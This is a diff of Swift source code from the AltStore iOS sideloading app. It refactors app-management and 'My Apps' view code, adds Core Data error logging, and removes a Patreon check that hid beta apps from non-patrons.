let backgroundRefreshAppsOperation = BackgroundRefreshAppsOperation(installedApps: installedApps)
|
||||||
backgroundRefreshAppsOperation.resultHandler = completionHandler
|
backgroundRefreshAppsOperation.resultHandler = completionHandler
|
||||||
@@ -1223,7 +1224,7 @@ private extension AppManager
|
|||||||
let progress = Progress.discreteProgress(totalUnitCount: 100)
|
let progress = Progress.discreteProgress(totalUnitCount: 100)
|
||||||
|
|
||||||
let context = AppOperationContext(bundleIdentifier: app.bundleIdentifier, authenticatedContext: group.context)
|
let context = AppOperationContext(bundleIdentifier: app.bundleIdentifier, authenticatedContext: group.context)
|
||||||
context.app = ALTApplication(fileURL: app.url)
|
context.app = ALTApplication(fileURL: app.fileURL)
|
||||||
|
|
||||||
/* Fetch Provisioning Profiles */
|
/* Fetch Provisioning Profiles */
|
||||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||||
@@ -1663,12 +1664,7 @@ private extension AppManager
|
|||||||
|
|
||||||
if #available(iOS 14, *)
|
if #available(iOS 14, *)
|
||||||
{
|
{
|
||||||
WidgetCenter.shared.getCurrentConfigurations { (result) in
|
WidgetCenter.shared.reloadAllTimelines()
|
||||||
guard case .success(let widgets) = result else { return }
|
|
||||||
|
|
||||||
guard let widget = widgets.first(where: { $0.configuration is ViewAppIntent }) else { return }
|
|
||||||
WidgetCenter.shared.reloadTimelines(ofKind: widget.kind)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
do { try installedApp.managedObjectContext?.save() }
|
do { try installedApp.managedObjectContext?.save() }
|
||||||
@@ -1677,6 +1673,8 @@ private extension AppManager
|
|||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
|
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
|
||||||
|
|
||||||
|
self.log(error, for: operation)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1701,6 +1699,43 @@ private extension AppManager
|
|||||||
UNUserNotificationCenter.current().add(request)
|
UNUserNotificationCenter.current().add(request)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func log(_ error: Error, for operation: AppOperation)
|
||||||
|
{
|
||||||
|
// Sanitize NSError on same thread before performing background task.
|
||||||
|
let sanitizedError = (error as NSError).sanitizedForCoreData()
|
||||||
|
|
||||||
|
let loggedErrorOperation: LoggedError.Operation = {
|
||||||
|
switch operation
|
||||||
|
{
|
||||||
|
case .install: return .install
|
||||||
|
case .update: return .update
|
||||||
|
case .refresh: return .refresh
|
||||||
|
case .activate: return .activate
|
||||||
|
case .deactivate: return .deactivate
|
||||||
|
case .backup: return .backup
|
||||||
|
case .restore: return .restore
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
|
||||||
|
var app = operation.app
|
||||||
|
if let managedApp = app as? NSManagedObject, let tempApp = context.object(with: managedApp.objectID) as? AppProtocol
|
||||||
|
{
|
||||||
|
app = tempApp
|
||||||
|
}
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
_ = LoggedError(error: sanitizedError, app: app, operation: loggedErrorOperation, context: context)
|
||||||
|
try context.save()
|
||||||
|
}
|
||||||
|
catch let saveError
|
||||||
|
{
|
||||||
|
print("[ALTLog] Failed to log error \(sanitizedError.domain) code \(sanitizedError.code) for \(app.bundleIdentifier):", saveError)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func run(_ operations: [Foundation.Operation], context: OperationContext?, requiresSerialQueue: Bool = false)
|
func run(_ operations: [Foundation.Operation], context: OperationContext?, requiresSerialQueue: Bool = false)
|
||||||
{
|
{
|
||||||
// Find "Install AltStore" operation if it already exists in `context`
|
// Find "Install AltStore" operation if it already exists in `context`
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class InstalledAppsCollectionHeaderView: UICollectionReusableView
|
final class InstalledAppsCollectionHeaderView: UICollectionReusableView
|
||||||
{
|
{
|
||||||
let textLabel: UILabel
|
let textLabel: UILabel
|
||||||
let button: UIButton
|
let button: UIButton
|
||||||
|
|||||||
@@ -9,7 +9,7 @@
|
|||||||
import UIKit
|
import UIKit
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
class InstalledAppCollectionViewCell: UICollectionViewCell
|
final class InstalledAppCollectionViewCell: UICollectionViewCell
|
||||||
{
|
{
|
||||||
private(set) var deactivateBadge: UIView?
|
private(set) var deactivateBadge: UIView?
|
||||||
|
|
||||||
@@ -55,13 +55,13 @@ class InstalledAppCollectionViewCell: UICollectionViewCell
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class InstalledAppsCollectionFooterView: UICollectionReusableView
|
final class InstalledAppsCollectionFooterView: UICollectionReusableView
|
||||||
{
|
{
|
||||||
@IBOutlet var textLabel: UILabel!
|
@IBOutlet var textLabel: UILabel!
|
||||||
@IBOutlet var button: UIButton!
|
@IBOutlet var button: UIButton!
|
||||||
}
|
}
|
||||||
|
|
||||||
class NoUpdatesCollectionViewCell: UICollectionViewCell
|
final class NoUpdatesCollectionViewCell: UICollectionViewCell
|
||||||
{
|
{
|
||||||
@IBOutlet var blurView: UIVisualEffectView!
|
@IBOutlet var blurView: UIVisualEffectView!
|
||||||
|
|
||||||
@@ -73,7 +73,7 @@ class NoUpdatesCollectionViewCell: UICollectionViewCell
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class UpdatesCollectionHeaderView: UICollectionReusableView
|
final class UpdatesCollectionHeaderView: UICollectionReusableView
|
||||||
{
|
{
|
||||||
let button = PillButton(type: .system)
|
let button = PillButton(type: .system)
|
||||||
|
|
||||||
|
|||||||
@@ -6,13 +6,13 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import UIKit
|
|
||||||
import MobileCoreServices
|
|
||||||
import Intents
|
|
||||||
import Combine
|
import Combine
|
||||||
|
import Intents
|
||||||
|
import MobileCoreServices
|
||||||
|
import UIKit
|
||||||
|
|
||||||
import AltStoreCore
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import AltStoreCore
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
import Nuke
|
import Nuke
|
||||||
@@ -30,7 +30,7 @@ extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class MyAppsViewController: UICollectionViewController
|
final class MyAppsViewController: UICollectionViewController
|
||||||
{
|
{
|
||||||
private let coordinator = NSFileCoordinator()
|
private let coordinator = NSFileCoordinator()
|
||||||
private let operationQueue = OperationQueue()
|
private let operationQueue = OperationQueue()
|
||||||
@@ -151,8 +151,7 @@ class MyAppsViewController: UICollectionViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
|
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
|
||||||
{
|
{}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private extension MyAppsViewController
|
private extension MyAppsViewController
|
||||||
@@ -170,7 +169,7 @@ private extension MyAppsViewController
|
|||||||
dynamicDataSource.numberOfSectionsHandler = { 1 }
|
dynamicDataSource.numberOfSectionsHandler = { 1 }
|
||||||
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
|
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
|
||||||
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
|
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
|
||||||
dynamicDataSource.cellConfigurationHandler = { (cell, _, indexPath) in
|
dynamicDataSource.cellConfigurationHandler = { cell, _, _ in
|
||||||
let cell = cell as! NoUpdatesCollectionViewCell
|
let cell = cell as! NoUpdatesCollectionViewCell
|
||||||
cell.layoutMargins.left = self.view.layoutMargins.left
|
cell.layoutMargins.left = self.view.layoutMargins.left
|
||||||
cell.layoutMargins.right = self.view.layoutMargins.right
|
cell.layoutMargins.right = self.view.layoutMargins.right
|
||||||
@@ -186,16 +185,16 @@ private extension MyAppsViewController
|
|||||||
func makeUpdatesDataSource() -> RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>
|
func makeUpdatesDataSource() -> RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>
|
||||||
{
|
{
|
||||||
let fetchRequest = InstalledApp.updatesFetchRequest()
|
let fetchRequest = InstalledApp.updatesFetchRequest()
|
||||||
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.versionDate, ascending: true),
|
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.latestVersion?.date, ascending: true),
|
||||||
NSSortDescriptor(keyPath: \InstalledApp.name, ascending: true)]
|
NSSortDescriptor(keyPath: \InstalledApp.name, ascending: true)]
|
||||||
fetchRequest.returnsObjectsAsFaults = false
|
fetchRequest.returnsObjectsAsFaults = false
|
||||||
|
|
||||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||||
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
|
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
|
||||||
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
|
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
|
||||||
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in
|
dataSource.cellConfigurationHandler = { [weak self] cell, installedApp, _ in
|
||||||
guard let self = self else { return }
|
guard let self = self else { return }
|
||||||
guard let app = installedApp.storeApp else { return }
|
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
|
||||||
|
|
||||||
let cell = cell as! UpdateCollectionViewCell
|
let cell = cell as! UpdateCollectionViewCell
|
||||||
cell.layoutMargins.left = self.view.layoutMargins.left
|
cell.layoutMargins.left = self.view.layoutMargins.left
|
||||||
@@ -209,7 +208,7 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
cell.bannerView.configure(for: app)
|
cell.bannerView.configure(for: app)
|
||||||
|
|
||||||
let versionDate = Date().relativeDateString(since: app.versionDate, dateFormatter: self.dateFormatter)
|
let versionDate = Date().relativeDateString(since: latestVersion.date, dateFormatter: self.dateFormatter)
|
||||||
cell.bannerView.subtitleLabel.text = versionDate
|
cell.bannerView.subtitleLabel.text = versionDate
|
||||||
|
|
||||||
let appName: String
|
let appName: String
|
||||||
@@ -223,7 +222,7 @@ private extension MyAppsViewController
|
|||||||
appName = app.name
|
appName = app.name
|
||||||
}
|
}
|
||||||
|
|
||||||
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, app.version, versionDate)
|
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, latestVersion.version, versionDate)
|
||||||
|
|
||||||
cell.bannerView.button.isIndicatingActivity = false
|
cell.bannerView.button.isIndicatingActivity = false
|
||||||
cell.bannerView.button.addTarget(self, action: #selector(MyAppsViewController.updateApp(_:)), for: .primaryActionTriggered)
|
cell.bannerView.button.addTarget(self, action: #selector(MyAppsViewController.updateApp(_:)), for: .primaryActionTriggered)
|
||||||
@@ -245,11 +244,12 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
cell.setNeedsLayout()
|
cell.setNeedsLayout()
|
||||||
}
|
}
|
||||||
dataSource.prefetchHandler = { (installedApp, indexPath, completionHandler) in
|
dataSource.prefetchHandler = { installedApp, _, completionHandler in
|
||||||
guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
|
guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
|
||||||
|
|
||||||
return RSTAsyncBlockOperation() { (operation) in
|
return RSTAsyncBlockOperation
|
||||||
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { (response, error) in
|
{ operation in
|
||||||
|
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { response, error in
|
||||||
guard !operation.isCancelled else { return operation.finish() }
|
guard !operation.isCancelled else { return operation.finish() }
|
||||||
|
|
||||||
if let image = response?.image
|
if let image = response?.image
|
||||||
@@ -263,7 +263,7 @@ private extension MyAppsViewController
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
dataSource.prefetchCompletionHandler = { cell, image, _, error in
|
||||||
let cell = cell as! UpdateCollectionViewCell
|
let cell = cell as! UpdateCollectionViewCell
|
||||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||||
cell.bannerView.iconImageView.image = image
|
cell.bannerView.iconImageView.image = image
|
||||||
@@ -288,7 +288,7 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||||
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
||||||
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
|
dataSource.cellConfigurationHandler = { cell, installedApp, indexPath in
|
||||||
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
||||||
|
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
@@ -363,10 +363,13 @@ private extension MyAppsViewController
|
|||||||
cell.bannerView.button.progress = nil
|
cell.bannerView.button.progress = nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchHandler = { (item, indexPath, completion) in
|
dataSource.prefetchHandler = { item, _, completion in
|
||||||
RSTAsyncBlockOperation { (operation) in
|
RSTAsyncBlockOperation
|
||||||
item.managedObjectContext?.perform {
|
{ _ in
|
||||||
item.loadIcon { (result) in
|
item.managedObjectContext?.perform
|
||||||
|
{
|
||||||
|
item.loadIcon
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error): completion(nil, error)
|
case .failure(let error): completion(nil, error)
|
||||||
@@ -376,7 +379,7 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
cell.bannerView.iconImageView.image = image
|
cell.bannerView.iconImageView.image = image
|
||||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||||
@@ -397,7 +400,7 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||||
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
||||||
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
|
dataSource.cellConfigurationHandler = { cell, installedApp, _ in
|
||||||
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
||||||
|
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
@@ -437,10 +440,13 @@ private extension MyAppsViewController
|
|||||||
cell.bannerView.button.progress = nil
|
cell.bannerView.button.progress = nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchHandler = { (item, indexPath, completion) in
|
dataSource.prefetchHandler = { item, _, completion in
|
||||||
RSTAsyncBlockOperation { (operation) in
|
RSTAsyncBlockOperation
|
||||||
item.managedObjectContext?.perform {
|
{ _ in
|
||||||
item.loadIcon { (result) in
|
item.managedObjectContext?.perform
|
||||||
|
{
|
||||||
|
item.loadIcon
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error): completion(nil, error)
|
case .failure(let error): completion(nil, error)
|
||||||
@@ -450,7 +456,7 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
|
||||||
let cell = cell as! InstalledAppCollectionViewCell
|
let cell = cell as! InstalledAppCollectionViewCell
|
||||||
cell.bannerView.iconImageView.image = image
|
cell.bannerView.iconImageView.image = image
|
||||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||||
@@ -460,19 +466,9 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
func updateDataSource()
|
func updateDataSource()
|
||||||
{
|
|
||||||
if let patreonAccount = DatabaseManager.shared.patreonAccount(), patreonAccount.isPatron, PatreonAPI.shared.isAuthenticated
|
|
||||||
{
|
{
|
||||||
self.dataSource.predicate = nil
|
self.dataSource.predicate = nil
|
||||||
}
|
}
|
||||||
else
|
|
||||||
{
|
|
||||||
self.dataSource.predicate = NSPredicate(format: "%K == nil OR %K == NO OR %K == %@",
|
|
||||||
#keyPath(InstalledApp.storeApp),
|
|
||||||
#keyPath(InstalledApp.storeApp.isBeta),
|
|
||||||
#keyPath(InstalledApp.bundleIdentifier), StoreApp.altstoreAppID)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private extension MyAppsViewController
|
private extension MyAppsViewController
|
||||||
@@ -492,7 +488,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
if self.isViewLoaded
|
if self.isViewLoaded
|
||||||
{
|
{
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
|
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -500,7 +497,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
func fetchAppIDs()
|
func fetchAppIDs()
|
||||||
{
|
{
|
||||||
AppManager.shared.fetchAppIDs { (result) in
|
AppManager.shared.fetchAppIDs
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (_, context) = try result.get()
|
let (_, context) = try result.get()
|
||||||
@@ -513,12 +511,14 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String : Result<InstalledApp, Error>]) -> Void)
|
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String: Result<InstalledApp, Error>]) -> Void)
|
||||||
{
|
{
|
||||||
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
|
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
|
||||||
group.completionHandler = { (results) in
|
group.completionHandler = { results in
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
let failures = results.compactMapValues { (result) -> Error? in
|
{
|
||||||
|
let failures = results.compactMapValues
|
||||||
|
{ result -> Error? in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(OperationError.cancelled): return nil
|
case .failure(OperationError.cancelled): return nil
|
||||||
@@ -564,7 +564,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
self.refreshGroup = group
|
self.refreshGroup = group
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -577,7 +578,6 @@ private extension MyAppsViewController
|
|||||||
let visibleCells = self.collectionView.visibleCells
|
let visibleCells = self.collectionView.visibleCells
|
||||||
|
|
||||||
self.collectionView.performBatchUpdates({
|
self.collectionView.performBatchUpdates({
|
||||||
|
|
||||||
self.isUpdateSectionCollapsed.toggle()
|
self.isUpdateSectionCollapsed.toggle()
|
||||||
|
|
||||||
UIView.animate(withDuration: 0.3, animations: {
|
UIView.animate(withDuration: 0.3, animations: {
|
||||||
@@ -651,8 +651,10 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
|
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
|
||||||
|
|
||||||
self.refresh(installedApps) { (result) in
|
self.refresh(installedApps)
|
||||||
DispatchQueue.main.async {
|
{ _ in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.isRefreshingAllApps = false
|
self.isRefreshingAllApps = false
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
@@ -661,7 +663,8 @@ private extension MyAppsViewController
|
|||||||
if #available(iOS 14, *)
|
if #available(iOS 14, *)
|
||||||
{
|
{
|
||||||
let interaction = INInteraction.refreshAllApps()
|
let interaction = INInteraction.refreshAllApps()
|
||||||
interaction.donate { (error) in
|
interaction.donate
|
||||||
|
{ error in
|
||||||
guard let error = error else { return }
|
guard let error = error else { return }
|
||||||
print("Failed to donate intent \(interaction.intent).", error)
|
print("Failed to donate intent \(interaction.intent).", error)
|
||||||
}
|
}
|
||||||
@@ -676,13 +679,17 @@ private extension MyAppsViewController
|
|||||||
let installedApp = self.dataSource.item(at: indexPath)
|
let installedApp = self.dataSource.item(at: indexPath)
|
||||||
|
|
||||||
let previousProgress = AppManager.shared.installationProgress(for: installedApp)
|
let previousProgress = AppManager.shared.installationProgress(for: installedApp)
|
||||||
guard previousProgress == nil else {
|
guard previousProgress == nil
|
||||||
|
else
|
||||||
|
{
|
||||||
previousProgress?.cancel()
|
previousProgress?.cancel()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = AppManager.shared.update(installedApp, presentingViewController: self) { (result) in
|
_ = AppManager.shared.update(installedApp, presentingViewController: self)
|
||||||
DispatchQueue.main.async {
|
{ result in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(OperationError.cancelled):
|
case .failure(OperationError.cancelled):
|
||||||
@@ -734,11 +741,14 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
var fileURL: URL?
|
var fileURL: URL?
|
||||||
var application: ALTApplication?
|
var application: ALTApplication?
|
||||||
var installedApp: InstalledApp? {
|
var installedApp: InstalledApp?
|
||||||
didSet {
|
{
|
||||||
|
didSet
|
||||||
|
{
|
||||||
self.installedAppContext = self.installedApp?.managedObjectContext
|
self.installedAppContext = self.installedApp?.managedObjectContext
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private var installedAppContext: NSManagedObjectContext?
|
private var installedAppContext: NSManagedObjectContext?
|
||||||
|
|
||||||
var error: Error?
|
var error: Error?
|
||||||
@@ -760,8 +770,10 @@ private extension MyAppsViewController
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
|
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||||
downloadOperation = RSTAsyncBlockOperation { (operation) in
|
downloadOperation = RSTAsyncBlockOperation
|
||||||
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in
|
{ operation in
|
||||||
|
let downloadTask = URLSession.shared.downloadTask(with: url)
|
||||||
|
{ fileURL, response, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (fileURL, _) = try Result((fileURL, response), error).get()
|
let (fileURL, _) = try Result((fileURL, response), error).get()
|
||||||
@@ -786,7 +798,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
|
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||||
let unzipAppOperation = BlockOperation {
|
let unzipAppOperation = BlockOperation
|
||||||
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = context.error
|
if let error = context.error
|
||||||
@@ -795,7 +808,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
|
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
|
||||||
defer {
|
defer
|
||||||
|
{
|
||||||
try? FileManager.default.removeItem(at: fileURL)
|
try? FileManager.default.removeItem(at: fileURL)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -820,7 +834,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
|
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||||
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
let removeAppExtensionsOperation = RSTAsyncBlockOperation
|
||||||
|
{ [weak self] operation in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = context.error
|
if let error = context.error
|
||||||
@@ -830,8 +845,10 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
self?.removeAppExtensions(from: application) { (result) in
|
{
|
||||||
|
self?.removeAppExtensions(from: application)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success: removeAppExtensionsProgress.completedUnitCount = 1
|
case .success: removeAppExtensionsProgress.completedUnitCount = 1
|
||||||
@@ -851,7 +868,8 @@ private extension MyAppsViewController
|
|||||||
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
|
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
|
||||||
|
|
||||||
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
|
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||||
let installAppOperation = RSTAsyncBlockOperation { (operation) in
|
let installAppOperation = RSTAsyncBlockOperation
|
||||||
|
{ operation in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = context.error
|
if let error = context.error
|
||||||
@@ -861,7 +879,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||||
|
|
||||||
let group = AppManager.shared.install(application, presentingViewController: self) { (result) in
|
let group = AppManager.shared.install(application, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success(let installedApp): context.installedApp = installedApp
|
case .success(let installedApp): context.installedApp = installedApp
|
||||||
@@ -880,7 +899,8 @@ private extension MyAppsViewController
|
|||||||
installAppOperation.completionBlock = {
|
installAppOperation.completionBlock = {
|
||||||
try? FileManager.default.removeItem(at: temporaryDirectory)
|
try? FileManager.default.removeItem(at: temporaryDirectory)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
|
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
|
||||||
self.sideloadingProgressView.observedProgress = nil
|
self.sideloadingProgressView.observedProgress = nil
|
||||||
self.sideloadingProgressView.setHidden(true, animated: true)
|
self.sideloadingProgressView.setHidden(true, animated: true)
|
||||||
@@ -890,12 +910,13 @@ private extension MyAppsViewController
|
|||||||
case .success(let app):
|
case .success(let app):
|
||||||
completion(.success(()))
|
completion(.success(()))
|
||||||
|
|
||||||
app.managedObjectContext?.perform {
|
app.managedObjectContext?.perform
|
||||||
|
{
|
||||||
print("Successfully installed app:", app.bundleIdentifier)
|
